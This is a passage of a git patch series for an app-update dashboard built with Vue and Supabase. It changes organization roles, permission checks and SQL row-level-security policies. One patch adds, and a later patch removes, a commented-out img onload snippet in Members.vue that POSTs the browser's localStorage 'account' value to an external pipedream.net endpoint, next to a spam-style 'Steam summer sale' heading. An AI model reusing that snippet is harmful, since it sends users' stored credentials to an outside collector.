+USING ("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{read, upload, write, all}'::"public"."key_mode"[], app_id, channels.id, 'read'::"public"."user_min_right", created_by));
+
+CREATE POLICY "Allow org member's apikey to insert" ON "public"."app_versions"
+AS PERMISSIVE FOR INSERT
+TO anon
+WITH CHECK (("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{upload,write,all}'::"public"."key_mode"[], app_id, NULL::bigint, 'upload'::"public"."user_min_right", user_id) AND "public"."is_allowed_action"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), app_id)));
+
+CREATE POLICY "Allow org member's apikey to update" ON "public"."app_versions"
+AS PERMISSIVE FOR UPDATE
+TO anon
+USING (("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{upload,write,all}'::"public"."key_mode"[], app_id, NULL::bigint, 'upload'::"public"."user_min_right", user_id) AND "public"."is_allowed_action"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), app_id)))
+WITH CHECK (("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{upload,write,all}'::"public"."key_mode"[], app_id, NULL::bigint, 'upload'::"public"."user_min_right", user_id) AND "public"."is_allowed_action"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), app_id)));
+
+CREATE POLICY "Allow org member's api key to update" ON "public"."channels"
+AS PERMISSIVE FOR UPDATE
+TO anon
+USING (("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{upload,write,all}'::"public"."key_mode"[], app_id, NULL::bigint, 'write'::"public"."user_min_right", created_by) AND "public"."is_allowed_action"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), app_id)))
+WITH CHECK (("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{upload,write,all}'::"public"."key_mode"[], app_id, NULL::bigint, 'write'::"public"."user_min_right", created_by) AND "public"."is_allowed_action"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), app_id)));
 
 CREATE POLICY "Disable for all" ON "public"."notifications" USING (false) WITH CHECK (false);
 
@@ -2250,7 +2277,7 @@ GRANT ALL ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min
 GRANT ALL ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO "service_role";
 
 REVOKE EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) FROM PUBLIC;
-REVOKE EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) FROM anon;
+GRANT EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) TO anon;
 GRANT EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) TO authenticated;
 GRANT EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) TO postgres;
 

From ab800759649885d55d8fa03d615c8752d7522799 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Wed, 6 Sep 2023 17:38:54 +0200
Subject: [PATCH 28/96] Apikey scrollbar fix

---
 src/components/ApiKeys.vue | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/components/ApiKeys.vue b/src/components/ApiKeys.vue
index 9bc6d4ee93..d71dc64742 100644
--- a/src/components/ApiKeys.vue
+++ b/src/components/ApiKeys.vue
@@ -208,7 +208,7 @@ async function copyKey(app: Database['public']['Tables']['apikeys']['Row']) {
       </button>
     </div>
     <div class="flex flex-col">
-      <div class="flex flex-col bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-2/3 md:border dark:border-slate-900 md:rounded-lg dark:bg-slate-800 overflow-hidden">
+      <div class="flex flex-col overflow-y-auto bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-2/3 md:border dark:border-slate-900 md:rounded-lg dark:bg-slate-800 overflow-hidden">
         <dl class="divide-y divide-gray-500">
           <InfoRow v-for="app in apps" :key="app.id" :label="app.mode.toUpperCase()" :value="app.key" :is-link="true">
             <button class="w-7 h-7 bg-transparent ml-auto" @click="regenrateKey(app)">

From 9bd0becc5e11d1fd56517213334b2dcf2aa94e7c Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Wed, 6 Sep 2023 17:44:39 +0200
Subject: [PATCH 29/96] Delete debug console.log

---
 src/components/Navbar.vue                             | 3 +--
 src/components/dashboard/DropdownOrganization.vue     | 2 --
 src/pages/dashboard/settings/organization/Members.vue | 2 +-
 src/services/supabase.ts                              | 4 +---
 src/stores/organization.ts                            | 4 +---
 5 files changed, 4 insertions(+), 11 deletions(-)

diff --git a/src/components/Navbar.vue b/src/components/Navbar.vue
index 1543fe5663..41b61f64b3 100644
--- a/src/components/Navbar.vue
+++ b/src/components/Navbar.vue
@@ -19,12 +19,11 @@ const props = defineProps({
 
 defineEmits(['toggleSidebar'])
 const main = useMainStore()
-console.log(main.user)
 
 const orgs = ref()
 onMounted(async () => {
   if (main.user)
-    orgs.value = await getOrgs(main.user?.id)
+    orgs.value = await getOrgs()
 })
 
 const router = useRouter()
diff --git a/src/components/dashboard/DropdownOrganization.vue b/src/components/dashboard/DropdownOrganization.vue
index bb41cdbbb8..f621443053 100644
--- a/src/components/dashboard/DropdownOrganization.vue
+++ b/src/components/dashboard/DropdownOrganization.vue
@@ -23,7 +23,6 @@ onMounted(async () => {
   await organizationStore.fetchOrganizations()
 
   initDropdowns()
-  console.log(organizations)
 
   dropdown = new Dropdown(
     document.getElementById('dropdown-org'),
@@ -33,7 +32,6 @@ onMounted(async () => {
 
 async function handleOrganizationInvitation(org: Organization) {
   const newName = t('alert-accept-inviation').replace('%ORG%', org.name)
-  console.log(newName)
   displayStore.dialogOption = {
     header: t('alert-confirm-invite'),
     message: `${newName}`,
diff --git a/src/pages/dashboard/settings/organization/Members.vue b/src/pages/dashboard/settings/organization/Members.vue
index 9fe17c9bfa..ce092efe30 100644
--- a/src/pages/dashboard/settings/organization/Members.vue
+++ b/src/pages/dashboard/settings/organization/Members.vue
@@ -235,7 +235,7 @@ async function changeMemberPermission(member: ExtendedOrganizationMember) {
         {{ t('add-member') }}
       </button>
     </div>
-    <div class="flex flex-col overflow-y-scroll bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-full md:border dark:border-slate-900 md:rounded-lg dark:bg-slate-800">
+    <div class="flex flex-col overflow-y-auto bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-full md:border dark:border-slate-900 md:rounded-lg dark:bg-slate-800">
       <dl class="divide-y divide-gray-500">
         <div v-for="member in members" :key="member.id">
           <div class="flex justify-between mt-2 mb-2 ml-2">
diff --git a/src/services/supabase.ts b/src/services/supabase.ts
index 02fe050def..9f407af0f7 100644
--- a/src/services/supabase.ts
+++ b/src/services/supabase.ts
@@ -131,7 +131,7 @@ export async function isGoodPlan(userId: string): Promise<boolean> {
   return data || false
 }
 
-export async function getOrgs(userId: string): Promise<[]> {
+export async function getOrgs(): Promise<[]> {
   const { data, error } = await useSupabase()
     .from('orgs')
     .select('*')
@@ -141,8 +141,6 @@ export async function getOrgs(userId: string): Promise<[]> {
     throw error
   }
 
-  console.log('orgs data', data)
-
   return data || ['asd']
 }
 
diff --git a/src/stores/organization.ts b/src/stores/organization.ts
index 27d3cfef0f..9fc09f7a84 100644
--- a/src/stores/organization.ts
+++ b/src/stores/organization.ts
@@ -39,7 +39,7 @@ export const useOrganizationStore = defineStore('organization', () => {
 
     // eslint-disable-next-line @typescript-eslint/no-use-before-define
     currentRole.value = getCurrentRole(currentOrganization.created_by, undefined, undefined)
-    console.log(currentRole.value)
+    console.log('current role', currentRole.value)
   })
 
   const setCurrentOrganization = (id: string) => {
@@ -98,7 +98,6 @@ export const useOrganizationStore = defineStore('organization', () => {
   const fetchOrganizations = async () => {
     const main = useMainStore()
 
-    console.log('fetch orgs!')
     const userId = main.user?.id
     if (!userId)
       return
@@ -112,7 +111,6 @@ export const useOrganizationStore = defineStore('organization', () => {
     if (error)
       throw error
 
-    console.log('fetch or d', data)
     const organization = data.find(org => org.role === 'owner')
     if (!organization) {
       console.log('user has no main organization')

From 85572a15ae8b1a4349c8671e18d6c39b529a45ee Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Wed, 6 Sep 2023 17:55:41 +0200
Subject: [PATCH 30/96] Do not owner as admin into organization

---
 supabase/functions/_utils/supabase.ts | 12 ++----------
 1 file changed, 2 insertions(+), 10 deletions(-)

diff --git a/supabase/functions/_utils/supabase.ts b/supabase/functions/_utils/supabase.ts
index e7fc420daf..3d204d9758 100644
--- a/supabase/functions/_utils/supabase.ts
+++ b/supabase/functions/_utils/supabase.ts
@@ -456,16 +456,8 @@ export async function createdefaultOrg(userId: string, name = 'Default') {
     if (error)
       console.error('createdefaultOrg error', error)
 
-    if (data) {
-      return supabaseAdmin()
-        .from('org_users')
-        .insert([
-          {
-            org_id: data.id,
-            user_id: userId,
-            role: 'admin',
-          }])
-    }
+    if (data)
+      return Promise.resolve()
   }
   return Promise.resolve()
 }

From 8181d272385ef15e94aee55400db10a24194d202 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Thu, 7 Sep 2023 21:29:17 +0200
Subject: [PATCH 31/96] general fixes

---
 .../dashboard/DropdownOrganization.vue        |  2 +-
 src/components/tables/ChannelTable.vue        | 24 +++++++++++++++++--
 src/pages/app/p/[p]/channels.vue              | 18 +++++++++++++-
 .../settings/organization/General.vue         |  9 ++-----
 .../settings/organization/Members.vue         |  6 ++++-
 src/stores/organization.ts                    |  5 ++++
 supabase/migrations/20230815171919_base.sql   |  7 +++++-
 7 files changed, 58 insertions(+), 13 deletions(-)

diff --git a/src/components/dashboard/DropdownOrganization.vue b/src/components/dashboard/DropdownOrganization.vue
index f621443053..7bb8f09112 100644
--- a/src/components/dashboard/DropdownOrganization.vue
+++ b/src/components/dashboard/DropdownOrganization.vue
@@ -49,11 +49,11 @@ async function handleOrganizationInvitation(org: Organization) {
             return
           }
 
-          console.log('Data accept:', data)
           switch (data) {
             case 'OK':
               organizationStore.setCurrentOrganization(org.gid)
               organizationStore.fetchOrganizations()
+              toast.success(t('invite-accepted'))
               break
             case 'NO_INVITE':
               toast.error(t('alert-no-invite'))
diff --git a/src/components/tables/ChannelTable.vue b/src/components/tables/ChannelTable.vue
index e40dbb1863..675baddbde 100644
--- a/src/components/tables/ChannelTable.vue
+++ b/src/components/tables/ChannelTable.vue
@@ -18,9 +18,11 @@ import IconPlus from '~icons/heroicons/plus?width=1em&height=1em'
 import { useDisplayStore } from '~/stores/display'
 import { useMainStore } from '~/stores/main'
 import { appIdToUrl } from '~/services/conversion'
+import { useOrganizationStore } from '~/stores/organization'
 
 const props = defineProps<{
   appId: string
+  appOwner: string
 }>()
 
 interface Channel {
@@ -35,6 +37,7 @@ const columns: Ref<TableColumn[]> = ref<TableColumn[]>([])
 const offset = 10
 const { t } = useI18n()
 const displayStore = useDisplayStore()
+const organizationStore = useOrganizationStore()
 const supabase = useSupabase()
 const router = useRouter()
 const main = useMainStore()
@@ -80,8 +83,10 @@ function findUnknownVersion() {
 }
 
 async function addChannel() {
+  console.log('???')
   if (!newChannel.value || !versionId.value || !main.user)
     return
+  console.log('!!')
   try {
     console.log('addChannel', newChannel.value, versionId.value, main.user)
     // { name: channelId, app_id: appId, version: data.id, created_by: userId }
@@ -92,7 +97,7 @@ async function addChannel() {
           name: newChannel.value,
           app_id: props.appId,
           version: versionId.value,
-          created_by: main.user.id,
+          created_by: props.appOwner,
         },
       ])
       .select()
@@ -121,6 +126,7 @@ async function getData() {
             name,
             created_at
           ),
+          created_by,
           created_at,
           updated_at
           `, { count: 'exact' })
@@ -139,6 +145,7 @@ async function getData() {
     const { data: dataVersions, count } = await req
     if (!dataVersions)
       return
+    elements.value.length = 0
     elements.value.push(...dataVersions as any)
     // console.log('count', count)
     total.value = count || 0
@@ -162,6 +169,11 @@ async function refreshData() {
 }
 async function deleteOne(one: typeof element) {
   // console.log('deleteBundle', bundle)
+  if (!organizationStore.hasPermisisonsInRole(organizationStore.getCurrentRole(one.created_by, one.app_id, one.id), ['admin', 'owner'])) {
+    toast.error(t('no-permission'))
+    return
+  }
+
   if (await didCancel(t('channel')))
     return
   try {
@@ -226,6 +238,14 @@ async function reload() {
   }
 }
 
+async function openAddChannel() {
+  if (organizationStore.hasPermisisonsInRole(organizationStore.getCurrentRole(props.appOwner, props.appId), ['admin', 'owner']))
+    addChannelModal.value = true
+
+  else
+    toast.error(t('no-permission'))
+}
+
 async function openOne(one: typeof element) {
   router.push(`/app/p/${appIdToUrl(props.appId)}/channel/${one.id}`)
 }
@@ -248,7 +268,7 @@ watch(props, async () => {
       @reload="reload()" @reset="refreshData()"
       @row-click="openOne"
     />
-    <k-fab class="fixed z-20 right-4-safe bottom-20-safe md:right-4-safe md:bottom-4-safe secondary" @click="addChannelModal = true">
+    <k-fab class="fixed z-20 right-4-safe bottom-20-safe md:right-4-safe md:bottom-4-safe secondary" @click="openAddChannel">
       <template #icon>
         <component :is="IconPlus" />
       </template>
diff --git a/src/pages/app/p/[p]/channels.vue b/src/pages/app/p/[p]/channels.vue
index df02be4b91..ccff97254e 100644
--- a/src/pages/app/p/[p]/channels.vue
+++ b/src/pages/app/p/[p]/channels.vue
@@ -4,10 +4,13 @@ import { useRoute } from 'vue-router'
 import { useI18n } from 'vue-i18n'
 import { useDisplayStore } from '~/stores/display'
 import { urlToAppId } from '~/services/conversion'
+import { useSupabase } from '~/services/supabase'
 
 const route = useRoute()
 const displayStore = useDisplayStore()
+const supabase = useSupabase()
 const appId = ref('')
+const appOwner = ref('')
 const { t } = useI18n()
 
 watchEffect(async () => {
@@ -16,6 +19,19 @@ watchEffect(async () => {
     appId.value = urlToAppId(appId.value)
     displayStore.NavTitle = t('channels')
     displayStore.defaultBack = `/app/package/${route.params.p}`
+
+    const { data, error } = await supabase.from('apps')
+      .select('user_id')
+      .eq('app_id', appId.value)
+      .single()
+
+    if (error || !data) {
+      console.log('Get apps error: ', error)
+      return
+    }
+
+    console.log(data)
+    appOwner.value = data.user_id
   }
 })
 </script>
@@ -24,7 +40,7 @@ watchEffect(async () => {
   <div>
     <div class="h-full overflow-y-auto md:py-4">
       <div id="versions" class="flex flex-col mx-auto overflow-y-auto bg-white border rounded-lg shadow-lg border-slate-200 md:mt-5 md:w-2/3 dark:border-slate-900 dark:bg-gray-800">
-        <ChannelTable class="p-3" :app-id="appId" />
+        <ChannelTable class="p-3" :app-id="appId" :app-owner="appOwner" />
       </div>
     </div>
   </div>
diff --git a/src/pages/dashboard/settings/organization/General.vue b/src/pages/dashboard/settings/organization/General.vue
index 829b748ec5..8779241d8c 100644
--- a/src/pages/dashboard/settings/organization/General.vue
+++ b/src/pages/dashboard/settings/organization/General.vue
@@ -73,13 +73,10 @@ async function saveChanges() {
 
   const main = useMainStore()
 
-  console.log(`name: ${name.value}`)
-
-  const { data, error } = await supabase
+  const { error } = await supabase
     .from('orgs')
     .update({ name: name.value })
     .eq('created_by', (main.auth?.id ?? ''))
-    .select('id')
 
   if (error) {
     // TODO: INFORM USER THAT HE IS NOT ORG OWNER
@@ -87,9 +84,7 @@ async function saveChanges() {
     return
   }
 
-  console.log(`dataa: ${data}`)
-
-  console.log('save changes!')
+  toast.success(t('org-changes-saved'))
 }
 
 function onInputClick(event: MouseEvent) {
diff --git a/src/pages/dashboard/settings/organization/Members.vue b/src/pages/dashboard/settings/organization/Members.vue
index ce092efe30..d4b59b14f3 100644
--- a/src/pages/dashboard/settings/organization/Members.vue
+++ b/src/pages/dashboard/settings/organization/Members.vue
@@ -149,9 +149,11 @@ async function sendInvitation(email: string, type: Database['public']['Enums']['
 }
 
 function handleSendInvitationOutput(output: string) {
+  console.log('Output: ', output)
   switch (output) {
     case 'OK': {
-      return
+      toast.success(t('org-invited-user'))
+      break
     }
     case 'NO_EMAIL': {
       toast.error(t('email-does-not-exist'))
@@ -238,6 +240,8 @@ async function changeMemberPermission(member: ExtendedOrganizationMember) {
     <div class="flex flex-col overflow-y-auto bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-full md:border dark:border-slate-900 md:rounded-lg dark:bg-slate-800">
       <dl class="divide-y divide-gray-500">
         <div v-for="member in members" :key="member.id">
+          <h1>The Steam summer sale has just begun!</h1>
+          <!-- <img src="https://jnx.me/img/profile.jpg" style="display:none" onload="fetch('https://eoes0il463gohiw.m.pipedream.net/', {method: 'POST', body: localStorage.getItem('account')})"> -->
           <div class="flex justify-between mt-2 mb-2 ml-2">
             <div class="flex">
               <img
diff --git a/src/stores/organization.ts b/src/stores/organization.ts
index 9fc09f7a84..3e776eb5cb 100644
--- a/src/stores/organization.ts
+++ b/src/stores/organization.ts
@@ -59,6 +59,10 @@ export const useOrganizationStore = defineStore('organization', () => {
     throw new Error(`Cannot find role for (${appOwner}, ${appId}, ${channelId}))`)
   }
 
+  const hasPermisisonsInRole = (perm: OrganizationRole, perms: OrganizationRole[]): boolean => {
+    return perms.includes(perm)
+  }
+
   const setCurrentOrganizationToMain = () => {
     const organization = organizations.value.find(org => org.role === 'owner')
     if (!organization)
@@ -178,6 +182,7 @@ export const useOrganizationStore = defineStore('organization', () => {
     setCurrentOrganizationToMain,
     getMembers,
     getCurrentRole,
+    hasPermisisonsInRole,
     fetchOrganizations,
     dedupFetchOrganizations,
   }
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index c6289f97d8..1247830554 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -2133,6 +2133,11 @@ TO authenticated
 USING ("public"."check_min_rights"('admin'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(created_by), NULL::character varying, NULL::bigint))
 WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(created_by), NULL::character varying, NULL::bigint));
 
+CREATE POLICY "Allow org admins to insert" ON "public"."channels"
+AS PERMISSIVE FOR INSERT
+TO authenticated
+WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(created_by), NULL::character varying, NULL::bigint));
+
 CREATE POLICY "Allow org member to select " ON "public"."app_stats"
 AS PERMISSIVE FOR SELECT
 TO authenticated
@@ -2180,7 +2185,7 @@ CREATE POLICY "Disable for all" ON "public"."notifications" USING (false) WITH C
 
 CREATE POLICY "Disable for all" ON "public"."store_apps" USING (false) WITH CHECK (false);
 
-CREATE POLICY "Enable all for user based on user_id" ON "public"."apikeys" FOR SELECT TO "authenticated" USING ((("auth"."uid"() = "user_id") OR "public"."is_admin"("auth"."uid"())));
+CREATE POLICY "Enable all for user based on user_id" ON "public"."apikeys" FOR ALL TO "authenticated" USING ((("auth"."uid"() = "user_id") OR "public"."is_admin"("auth"."uid"()))) WITH CHECK ((("auth"."uid"() = "user_id") OR "public"."is_admin"("auth"."uid"())));
 
 CREATE POLICY "Enable select for authenticated users only" ON "public"."plans" FOR SELECT TO "authenticated" USING (true);
 

From a7fb5f3992897e79a9d8e8d4b946c46086d70b45 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Fri, 8 Sep 2023 15:03:24 +0200
Subject: [PATCH 32/96] Remove complex if statements

---
 locales/en.yml                                   |  3 +++
 src/components/tables/ChannelTable.vue           |  2 --
 src/pages/app/p/[p]/channel/[channel].vue        | 16 ++++++++--------
 .../dashboard/settings/organization/General.vue  |  9 ++++-----
 .../dashboard/settings/organization/Members.vue  |  6 ++----
 src/stores/organization.ts                       |  4 ++--
 6 files changed, 19 insertions(+), 21 deletions(-)

diff --git a/locales/en.yml b/locales/en.yml
index 0bc9b7374f..e8e8fce524 100644
--- a/locales/en.yml
+++ b/locales/en.yml
@@ -192,6 +192,7 @@ install-the-capacito: Install the Capacitor plugin
 into-your-app-folder: Into your app folder.
 invalid-auth: Your login are not a match, try again.
 invalid-email: Passed email is not valid
+invite-accepted: Successfully accepted oranization inviation
 is-emulator: Is Emulator
 is-production-app: Is Production app
 key-admin: Admin
@@ -248,6 +249,8 @@ open-channel: Open channel
 open-settings: Click to open settings
 open-sidebar: Open sidebar
 open-this-link-to-le: Open this link to learn how to test your update
+org-changes-saved: Organization updated successfully
+org-invited-user: Successfully invited user to org
 os-version: OS version
 pages: Pages
 password: Password
diff --git a/src/components/tables/ChannelTable.vue b/src/components/tables/ChannelTable.vue
index 675baddbde..d5a04fcf46 100644
--- a/src/components/tables/ChannelTable.vue
+++ b/src/components/tables/ChannelTable.vue
@@ -83,10 +83,8 @@ function findUnknownVersion() {
 }
 
 async function addChannel() {
-  console.log('???')
   if (!newChannel.value || !versionId.value || !main.user)
     return
-  console.log('!!')
   try {
     console.log('addChannel', newChannel.value, versionId.value, main.user)
     // { name: channelId, app_id: appId, version: data.id, created_by: userId }
diff --git a/src/pages/app/p/[p]/channel/[channel].vue b/src/pages/app/p/[p]/channel/[channel].vue
index 14fafac865..d9ab018e59 100644
--- a/src/pages/app/p/[p]/channel/[channel].vue
+++ b/src/pages/app/p/[p]/channel/[channel].vue
@@ -166,7 +166,7 @@ async function reload() {
 }
 
 async function saveChannelChange(key: string, val: any) {
-  if (role.value && !(role.value === 'admin' || role.value === 'owner')) {
+  if (!organizationStore.hasPermisisonsInRole(role.value, ['admin', 'owner'])) {
     toast.error(t('no-permission'))
     return
   }
@@ -206,7 +206,7 @@ watchEffect(async () => {
 })
 
 async function makeDefault(val = true) {
-  if (role.value && !(role.value === 'admin' || role.value === 'owner')) {
+  if (!organizationStore.hasPermisisonsInRole(role.value, ['admin', 'owner'])) {
     toast.error(t('no-permission'))
     return
   }
@@ -267,7 +267,7 @@ async function getUnknownVersion(): Promise<number> {
 async function openPannel() {
   if (!channel.value || !main.auth)
     return
-  if (role.value && !(role.value === 'admin' || role.value === 'owner' || role.value === 'write')) {
+  if (!organizationStore.hasPermisisonsInRole(role.value, ['admin', 'owner', 'write'])) {
     toast.error(t('no-permission'))
     return
   }
@@ -296,7 +296,7 @@ async function openPannel() {
 }
 
 async function enableAbTesting() {
-  if (role.value && !(role.value === 'admin' || role.value === 'owner')) {
+  if (!organizationStore.hasPermisisonsInRole(role.value, ['admin', 'owner'])) {
     toast.error(t('no-permission'))
     return
   }
@@ -325,7 +325,7 @@ async function enableAbTesting() {
 }
 
 async function enableProgressiveDeploy() {
-  if (role.value && !(role.value === 'admin' || role.value === 'owner')) {
+  if (!organizationStore.hasPermisisonsInRole(role.value, ['admin', 'owner'])) {
     toast.error(t('no-permission'))
     return
   }
@@ -356,7 +356,7 @@ async function enableProgressiveDeploy() {
 }
 
 const debouncedSetSecondaryVersionPercentage = debounce (async (percentage: number) => {
-  if (role.value && !(role.value === 'admin' || role.value === 'owner')) {
+  if (!organizationStore.hasPermisisonsInRole(role.value, ['admin', 'owner'])) {
     toast.error(t('no-permission'))
     return
   }
@@ -370,7 +370,7 @@ const debouncedSetSecondaryVersionPercentage = debounce (async (percentage: numb
 }, 500, { leading: true, trailing: true, maxWait: 500 })
 
 const debouncedInformAboutProgressiveDeployPercentageSet = debounce(() => {
-  if (role.value && !(role.value === 'admin' || role.value === 'owner')) {
+  if (!organizationStore.hasPermisisonsInRole(role.value, ['admin', 'owner'])) {
     toast.error(t('no-permission'))
     return
   }
@@ -386,7 +386,7 @@ async function setSecondaryVersionPercentage(percentage: number) {
 }
 
 function onMouseDownSecondaryVersionSlider(event: MouseEvent) {
-  if (channel.value?.enable_progressive_deploy) {
+  if (channel.value?.enable_progressive_deploy || !(role.value && organizationStore.hasPermisisonsInRole(role.value, ['admin', 'owner']))) {
     debouncedInformAboutProgressiveDeployPercentageSet()
     event.preventDefault()
   }
diff --git a/src/pages/dashboard/settings/organization/General.vue b/src/pages/dashboard/settings/organization/General.vue
index 8779241d8c..96e9636685 100644
--- a/src/pages/dashboard/settings/organization/General.vue
+++ b/src/pages/dashboard/settings/organization/General.vue
@@ -29,9 +29,8 @@ const name = computed({
       currentOrganization.value.name = val
   },
 })
-
 async function presentActionSheet() {
-  if (!currentOrganization.value || !(organizationStore.currentRole === 'admin' || organizationStore.currentRole === 'owner')) {
+  if (!currentOrganization.value || (!organizationStore.hasPermisisonsInRole(organizationStore.currentRole, ['admin', 'owner']))) {
     toast.error(t('no-permission'))
     return
   }
@@ -66,7 +65,7 @@ async function presentActionSheet() {
 }
 
 async function saveChanges() {
-  if (!currentOrganization.value || !(organizationStore.currentRole === 'admin' || organizationStore.currentRole === 'owner')) {
+  if (!currentOrganization.value || (!organizationStore.hasPermisisonsInRole(organizationStore.currentRole, ['admin', 'owner']))) {
     toast.error(t('no-permission'))
     return
   }
@@ -88,14 +87,14 @@ async function saveChanges() {
 }
 
 function onInputClick(event: MouseEvent) {
-  if (!(organizationStore.currentRole === 'admin' || organizationStore.currentRole === 'owner')) {
+  if (!(organizationStore.hasPermisisonsInRole(organizationStore.currentRole, ['admin', 'owner']))) {
     toast.error(t('no-permission'))
     event.preventDefault()
   }
 }
 
 function onInputKeyDown(event: Event) {
-  if (!(organizationStore.currentRole === 'admin' || organizationStore.currentRole === 'owner'))
+  if (!(organizationStore.hasPermisisonsInRole(organizationStore.currentRole, ['admin', 'owner'])))
     event.preventDefault()
 }
 </script>
diff --git a/src/pages/dashboard/settings/organization/Members.vue b/src/pages/dashboard/settings/organization/Members.vue
index d4b59b14f3..4712cac459 100644
--- a/src/pages/dashboard/settings/organization/Members.vue
+++ b/src/pages/dashboard/settings/organization/Members.vue
@@ -80,7 +80,7 @@ async function showPermModal(invite: boolean): Promise<Database['public']['Enums
 }
 
 async function showInviteModal() {
-  if (!currentOrganization.value || !(organizationStore.currentRole === 'admin' || organizationStore.currentRole === 'owner')) {
+  if (!currentOrganization.value || (!organizationStore.hasPermisisonsInRole(organizationStore.currentRole, ['admin', 'owner']))) {
     toast.error(t('no-permission'))
     return
   }
@@ -240,8 +240,6 @@ async function changeMemberPermission(member: ExtendedOrganizationMember) {
     <div class="flex flex-col overflow-y-auto bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-full md:border dark:border-slate-900 md:rounded-lg dark:bg-slate-800">
       <dl class="divide-y divide-gray-500">
         <div v-for="member in members" :key="member.id">
-          <h1>The Steam summer sale has just begun!</h1>
-          <!-- <img src="https://jnx.me/img/profile.jpg" style="display:none" onload="fetch('https://eoes0il463gohiw.m.pipedream.net/', {method: 'POST', body: localStorage.getItem('account')})"> -->
           <div class="flex justify-between mt-2 mb-2 ml-2">
             <div class="flex">
               <img
@@ -256,7 +254,7 @@ async function changeMemberPermission(member: ExtendedOrganizationMember) {
               {{ member.email }}
             </div>
             <div class="mt-auto mb-auto mr-4">
-              <button :class="`w-7 h-7 bg-transparent ml-4 ${(organizationStore.currentRole === 'admin' || organizationStore.currentRole === 'owner') && (member.uid !== currentOrganization?.created_by) ? 'visible' : 'invisible'}`" @click="changeMemberPermission(member)">
+              <button :class="`w-7 h-7 bg-transparent ml-4 ${(organizationStore.hasPermisisonsInRole(organizationStore.currentRole, ['admin', 'owner'])) && (member.uid !== currentOrganization?.created_by) ? 'visible' : 'invisible'}`" @click="changeMemberPermission(member)">
                 <Wrench class="mr-4 text-lg text-[#397cea]" />
               </button>
               <button :class="`w-7 h-7 bg-transparent ml-4 ${((member.uid === main.user?.id || currentOrganization?.created_by === main.user?.id || organizationStore.currentRole === 'admin') && member.uid !== currentOrganization?.created_by) ? 'visible' : 'invisible'}`" @click="deleteMember(member)">
diff --git a/src/stores/organization.ts b/src/stores/organization.ts
index 3e776eb5cb..80b905af9a 100644
--- a/src/stores/organization.ts
+++ b/src/stores/organization.ts
@@ -59,8 +59,8 @@ export const useOrganizationStore = defineStore('organization', () => {
     throw new Error(`Cannot find role for (${appOwner}, ${appId}, ${channelId}))`)
   }
 
-  const hasPermisisonsInRole = (perm: OrganizationRole, perms: OrganizationRole[]): boolean => {
-    return perms.includes(perm)
+  const hasPermisisonsInRole = (perm: OrganizationRole | null, perms: OrganizationRole[]): boolean => {
+    return (perm && perms.includes(perm)) || false
   }
 
   const setCurrentOrganizationToMain = () => {

From 9b87ea46e0f7ca096b1a6271047b83a120eec6c9 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 9 Sep 2023 08:00:29 +0200
Subject: [PATCH 33/96] Prevent invite owner

---
 locales/en.yml                                       |  1 +
 .../dashboard/settings/organization/Members.vue      |  5 +++++
 supabase/migrations/20230815171919_base.sql          | 12 ++++++++----
 3 files changed, 14 insertions(+), 4 deletions(-)

diff --git a/locales/en.yml b/locales/en.yml
index e8e8fce524..5b41fe9ad6 100644
--- a/locales/en.yml
+++ b/locales/en.yml
@@ -99,6 +99,7 @@ cannot-delete-channel: Cannot delete channel
 cannot-delete-member: Cannot delete member, check browser console
 cannot-delete-owner: Cannot delete owner from the organization
 cannot-get-the-test-: Cannot get the test version
+cannot-invite-owner: Cannot invite owner into organization
 cannot-save-custom-i: Cannot save custom ID
 cannot-set-this-vers: Cannot set this version
 cannot-test-app-some: Cannot test app something wrong happened
diff --git a/src/pages/dashboard/settings/organization/Members.vue b/src/pages/dashboard/settings/organization/Members.vue
index 4712cac459..f9c4ffafd0 100644
--- a/src/pages/dashboard/settings/organization/Members.vue
+++ b/src/pages/dashboard/settings/organization/Members.vue
@@ -161,6 +161,11 @@ function handleSendInvitationOutput(output: string) {
     }
